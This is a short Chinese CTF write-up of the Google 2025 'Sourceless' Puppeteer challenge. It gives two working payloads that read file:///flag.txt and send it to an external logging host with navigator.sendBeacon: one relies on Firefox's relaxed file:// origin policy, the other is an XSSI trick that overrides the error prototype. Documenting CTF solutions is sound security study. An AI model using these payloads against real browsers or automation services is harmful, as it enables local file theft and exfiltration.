Puppeteer 相关漏洞-- Google 2025 Sourceless

题目的代码非常简单,核心只有这一句

js 复制代码
page.goto(url, { timeout: 2000 });

方案1

Puppeteer 是一个常用的自动化浏览器工具,默认支持 Chrome,但也可以配置支持 Firefox。然而,当 Puppeteer 运行在 Firefox 上时,会自动关闭一些安全特性,尤其是将 security.fileuri.strict_origin_policy 设置为 false。这意味着不同的 file:// 协议下的文件(比如 file://A 和 file://B)会被当作同源(same-origin)处理。

复制代码
fetch('file:///flag.txt')
  .then(e => e.text())
  .then(e => navigator.sendBeacon(url, e));

方案2 XSSI 攻击

xssi.pdf

js 复制代码
  <script>
    ReferenceError.prototype.__defineGetter__('name', function(){
      const variable = this.message.split(' is ')[0];
      let decoded = '';

      for(const u16 of [...variable]){
        const i = u16.charCodeAt(0);
        decoded += String.fromCharCode(i % 256);
        decoded += String.fromCharCode(i >> 8);
      }
      navigator.sendBeacon('https://terjanq-logger.glitch.me/log2?id=sourceless', decoded)
    });
  </script>
  <script charset=utf-16le src="file:///flag.txt"></script>
  • 在Chrome和Firefox中,可以通过重写Error.prototype,拦截并读取error.message属性。

  • 正常情况下,跨域脚本报错时,window.onerror只会返回"Script error",但控制台的错误信息却包含了详细内容。

  • 由于console构造错误信息时会用到共享的Error原型,网站可以"污染"原型并执行自定义JS。

相关推荐
网安老伯1 小时前
都2026年了,还在问网络安全怎么入门?看完这一篇你就懂了
运维·计算机网络·web安全·网络安全·wireshark·密码学·网络攻击模型
sbjdhjd4 小时前
ThinkPHP 5.0.10 缓存写入型 RCE 复盘:从手动搭建、换行绕过到源码单步验证 | 05
java·后端·安全·spring·网络安全·数据挖掘·php
顾城猿4 小时前
PCS多项式承诺方案
网络安全
Demons_kirit6 小时前
身份验证漏洞
网络安全·portswigger
Bruce_Liuxiaowei20 小时前
2026年9月第2周网络安全形势周报
网络·安全·web安全·网络安全·漏洞评级
XLYcmy1 天前
面向安全领域决策的大型语言模型漏洞价值评估对齐机制与智能化评级系统研发 研究方向与核心内容
网络安全·llm·sft·cve·cot·对齐·漏洞检测
是逍遥子没错1 天前
一个斜杠,击穿整座网关:API网关路径前缀绕过认证实战
运维·服务器·web安全·网络安全·渗透测试·系统安全
木卫四科技1 天前
7 分钟、90 分钟、24 小时:漏洞管理的时间尺度已经崩塌
网络安全·智能体安全
anqianqi1231 天前
上网行为监控系统怎么落地:上网行为监控软件能管哪几件事
运维·安全·网络安全·电脑
数据知道1 天前
密钥管理(KMS)——轮换、分级、HSM 硬件安全模块
网络安全·密码学·哈希算法